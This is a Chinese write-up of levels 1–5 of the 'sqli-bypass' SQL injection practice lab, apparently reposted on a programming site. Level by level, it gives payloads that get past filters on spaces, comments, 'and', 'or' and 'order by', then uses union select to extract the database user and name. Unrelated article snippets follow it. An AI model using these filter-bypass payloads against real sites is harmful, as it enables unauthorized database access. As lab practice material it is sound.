sqli-bypass wp

sqli-bypass靶场

level 1

尝试注入点

1 ,1'1'',1",1""

==》存在字符型单引号注入

id=1'and(1)--+

==>提示存在sql注入

bypass

and()--+都可能存在被屏蔽掉

  • 尝试#代替--+

    id=1'and(1)%23

    ==》 正常回显,说明–+被屏蔽了,and,()没有屏蔽

  • 尝试空格

    id=1'+and(1)%23

    空格被绕过

  • 尝试%0a,%0b代替空格

    id=1'%0aand%0a(1)%23

    ==》正常回显,%0a没有被绕过。同理%0b/**/%09也没

  • 尝试order by

    id=1'/**/order/**/by/**/10%23

    ==》回显正常,二分法得到列数8

  • 尝试union select

    id=-1'/**/union/**/select/**/1,2,3,4,5,6,7,8%23

    ==>回显为4,5

  • 在回显位进行user,database爆破

    id=-1'/**/union/**/select/**/1,2,3,user(),database(),6,7,8%23

    成功爆破

    image-20231110181416566

level 2

尝试注入点

1 ,1'1'',1",1""

==》存在字符型单引号注入

bypass

  • id=1'--+

    ==》回显正常,–、空格没有被屏蔽

  • id=1'+and+(1)--+

    ==> 回显异常,and或者()被过滤了

    • 尝试%26%26

      ==> 回显正常,and被过滤了,使用&&代替,()没有

    • 同理

      ==> or也被过滤了,使用||代替

  • 爆破列数:id=1'+order+by+10--+

    ==》order by 被过滤了

    • 尝试大小写绕过:id=1'+Order+by+10--+

      ==>回显正常,二分法获取列数8

  • 爆破回显位:id=-1'+union+select+1,2,3,4,5,6,7,8--+

    ==>回显正常,union select没有被屏蔽,得到回显位 4,5

  • 爆破字段:id=-1'+union+select+1,2,3,user(),database(),6,7,8--+

    ==>回显 正常,user,database关键字没有被屏蔽,爆破成功。

    image-20231110184742041

level 3

尝试注入点

1 ,1'1'',1",1""

==》存在字符型单引号注入

bypass

  • 空格是否被屏蔽:id=1'--+

    ==>没有

  • and是否被屏蔽:id=1'+and+1--+

    ==》被屏蔽

    • 尝试%26%26id=1'+%26%26+1--+

      ==> 没有被屏蔽。用%26%26代替and

  • order by是否被屏蔽:id=1'+order+by+1--+

    ==> 没有。通过二分法,爆破列数为8

  • union select是否被屏蔽:id=-1'+union+select+1,2,3,4,5,6,7,8--+

    ==> 没有,爆破列数4,5

  • 爆破字段值:id=-1'+union+select+1,2,3,user(),database(),6,7,8--+

    ==>回显正常,同level2

level 4

尝试注入点

略,同level3,字符型单引号注入

bypass

  • 空格是否被过滤:同level3

    没有

  • and是否被过滤: 同level3

    同level3,使用%26%26代替and

  • order by是否被过滤

    ==>被过滤了

    • 测试order关键字是否被过滤:id=1'+/*order*/--+

      • 测试那个字符被过滤: id=1'+/*oarder*/--+id=1'+/*orader*/--+

        or字段被过滤了,by没有

      • 测试大小写绕过:id=1'+/*oRder*/--+

        被过滤

      • 测试双写绕过:id=1'+/*oorrder*/--+

        被过滤

  • 获取列数

    • order by因为or被过滤了,所有用不了,这里提供两种方式替代

      • group by绕过:`id=1’+group+by+10–+

        `

        image-20231110211152643

        image-20231110211211742

        ==> 爆破8列

      • into绕过:id=1'+into+@1,@2,@3,@4,@5,@6,@7,@8--+

        image-20231110211403126

        image-20231110211433795

        注:into的值要加@,@1,@2,@3...

        ==> 爆破8列

  • union select是否被屏蔽: 同level 3,没有

  • 爆破字段值:同level 3

level 5

尝试注入点

略,同level3,字符型单引号注入

bypass

  • 空格是否被过滤:同level3

    没有

  • and是否被过滤: 同level3

    同level3,使用%26%26代替and

  • order by是否被过滤

    ==>被过滤了,提示显示or字符别过滤了

    image-20231110191329717

    • or之间增加or绕过:id=1'+oorrder+by+8--+

      ==>成功回显,爆破列数8

  • union select是否被屏蔽: 同level 3,没有

    爆破字段值:同level 3

  • order by是否被过滤

    ==>被过滤了,提示显示or字符别过滤了

    image-20231110191329717

    • or之间增加or绕过:id=1'+oorrder+by+8--+

      ==>成功回显,爆破列数8

  • union select是否被屏蔽: 同level 3,没有

  • 爆破字段值:同level 3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/186974.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字化广告运营,小迈科技的关键一步

数据驱动广告运营是小迈科技提升整体经营效率、构建竞争优势的重要选择。 截止目前,小迈科技已经完成了数据驱动的广告运营体系的搭建,并通过与神策数据的深入合作,借力神策客户旅程分析平台,在广告投放、运营活动等各个环节实现了…

小程序版本审核未通过,需在开发者后台「版本管理—提交审核——小程序订单中心path」设置订单中心页path,请设置后再提交代码审核

小程序版本审核未通过,需在开发者后台「版本管理—提交审核——小程序订单中心path」设置订单中心页path,请设置后再提交代码审核 因小程序尚未发布,订单中心不能正常打开查看,请先发布小程序后再提交订单中心PATH申请 初次提交…

Google Chrome 浏览器 119.0.6045.106 版本提示 STATUS_INVALID_IMAGE_HASH 崩溃

问题 今天更新 Google Chrome 浏览器到 119.0.6045.106 版本,然后访问页面不是空白,就是页面崩溃了 解决方案 我在网上找了几种,下面这个方式符合,能解决我的问题,就是在快捷方式的属性那里,找到目标给它…

百分点科技受邀参加“第五届治理现代化论坛”

11月4日,由北京大学政府管理学院主办的“面向新时代的人才培养——第五届治理现代化论坛”举行,北京大学校党委常委、副校长、教务长王博,政府管理学院院长燕继荣参加开幕式并致辞,百分点科技董事长兼CEO苏萌受邀出席论坛&#xf…

初步了解 RabbitMQ

目录 ​编辑一、MQ 概述 1、MQ 的简介 2、MQ 的用途 (1)限流削峰 (2)异步解耦 (3)数据收集 二、RabbitMQ 概述 1、RabbitMQ 简介 2、四大核心概念 3、RabbitMQ 的核心部分 ​编辑 4、名词解释: 三、Hello …

6个机器学习可解释性框架

1、SHAP SHapley Additive explanation (SHAP)是一种解释任何机器学习模型输出的博弈论方法。它利用博弈论中的经典Shapley值及其相关扩展将最优信贷分配与局部解释联系起来. 举例:基于随机森林模型的心脏病患者预测分类 数据集中每个特征对模型预测的贡献由Shap…

Flink SQL -- 命令行的使用

1、启动Flink SQL 首先启动Flink的集群,选择独立集群模式或者是session的模式。此处选择是时session的模式:yarn-session.sh -d 在启动Flink SQL的client: sql-client.sh 2、kafka SQL 连接器 在使用kafka作为数据源的时候需要上传jar包到…

uni-app多端开发

uni-app 多端开发 一、命令创建uni-app 项目二、在微信小程序后台找到 appId 填写 appId三、运行项目四、使用 uni-ui4-1、下载4-2、自动导入4-3、ts项目下载类型校验 (uni-ui 组件库)4-3-1、下载4-3-2、配置 五、持久化 pinia六、数据请求封装七、获取组…

python自动化测试selenium核心技术3种等待方式详解

这篇文章主要为大家介绍了python自动化测试selenium的核心技术三种等待方式示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步早日升职加薪 UI自动化测试过程中,可能会出现因测试环境不稳定、网络慢等情况&a…

零基础必知的Python简介!

文章目录 前言1.Python 简介2.Python 发展历史3.Python 特点3.为什么是Python而不是其他语言?4.Python的种类总结关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python…

java数据结构--阻塞队列

目录 一.概念 二.生产者消费者问题 三.阻塞队列接口BlockingQueue 四.基于数组实现单锁的阻塞队列 1.加锁方式 2.代码实现 3.解释说明 (1).offer添加元素 (2)poll取出元素 4.timeout超时时间 5.测试 五.基于数组实现双锁的阻塞队列 1.问题 …

Python最基础的五个部分代码,零基础也能轻松看懂。

文章目录 前言一、表达式二、赋值语句三、引用四、分支语句五、循环语句关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Python兼…

JSON——数组语法

一段JSON可能是以 ”{“ 开头 也可能仅包含一段JSON数组 如下 [ { "name" : "hello,world"}, {"name" : "SB JSON”}, {“name” : "SB互联网房地产CNM“}, ] 瞧,蛋疼不...CJSON过来还是得搜下网…

星岛专栏|从Web3发展看金融与科技的融合之道

11月起,欧科云链与香港主流媒体星岛集团开设Web3.0安全技术专栏,该专栏主要面向香港从业者、交易机构、监管机构输出专业性的安全合规建议,旨在促进香港Web3.0行业向安全与合规发展。 出品|欧科云链研究院 自2016年首届香港金融…

[EFI]戴尔Latitude 5310电脑 Hackintosh 黑苹果efi引导文件

硬件型号驱动情况 主板戴尔Latitude 5310 处理器Intel Core i5-10210U(1.6GHz/L3 6M)已驱动 内存8GB已驱动 硬盘三星 MZVLW1T0HMLH-000L2 (1024 GB / 固态硬盘)已驱动 显卡Intel UHD620已驱动 声卡瑞昱 Audio ALC299 英特尔 High Definition Audio 控制器已驱动 网卡RT…

kubernetes etcd

目录 一、备份 二、回复 官网: https://v1-25.docs.kubernetes.io/zh-cn/docs/tasks/administer-cluster/configure-upgrade-etcd/#restoring-an-etcd-cluster 一、备份 从镜像中拷贝etcdctl二进制命令 输入ctrlpq快捷键,把容器打入后台 docker run…

【算法 | 数论 No.1】AcWing1246. 等差数列

个人主页:兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【AcWing算法提高学习专栏】 🍔本专栏旨在提高自己算法能力的同时,记录一下自己的学习过程&a…

阻塞队列+定时器+常见的锁策略

1)阻塞队列:是一个线程安全的队列,是可以保证线程安全的 1.1)如果当前队列为空,尝试出队列,进入阻塞状态,一直阻塞到队列里面的元素不为空 1.2)如果当前队列满了,尝试入队列,也会产生阻塞,一直阻…

【vue会员管理系统】篇六之退出系统功能

一、效果图 点击之后跳转到登陆界面 二、实现步骤 2.1Easy Mock新增接口 打开Easy Mock新建接口 方法:post URL:user/logout 描述:退出系统 2.2新增api 在api/login.js下添加以下代码 export function logout(token) {return request({url: /user/logout,method:…

2023双十一:实体门店闯入,第二战场全面开战

“闺女,吃饺子了吗?”11月8日,立冬,忙碌一天的陈曦回家路上接到母亲电话,才想起来家里冷冻水饺没了,又不想再去超市,直接打开美团买菜买了两袋,回家就煮了吃。当然,最终她…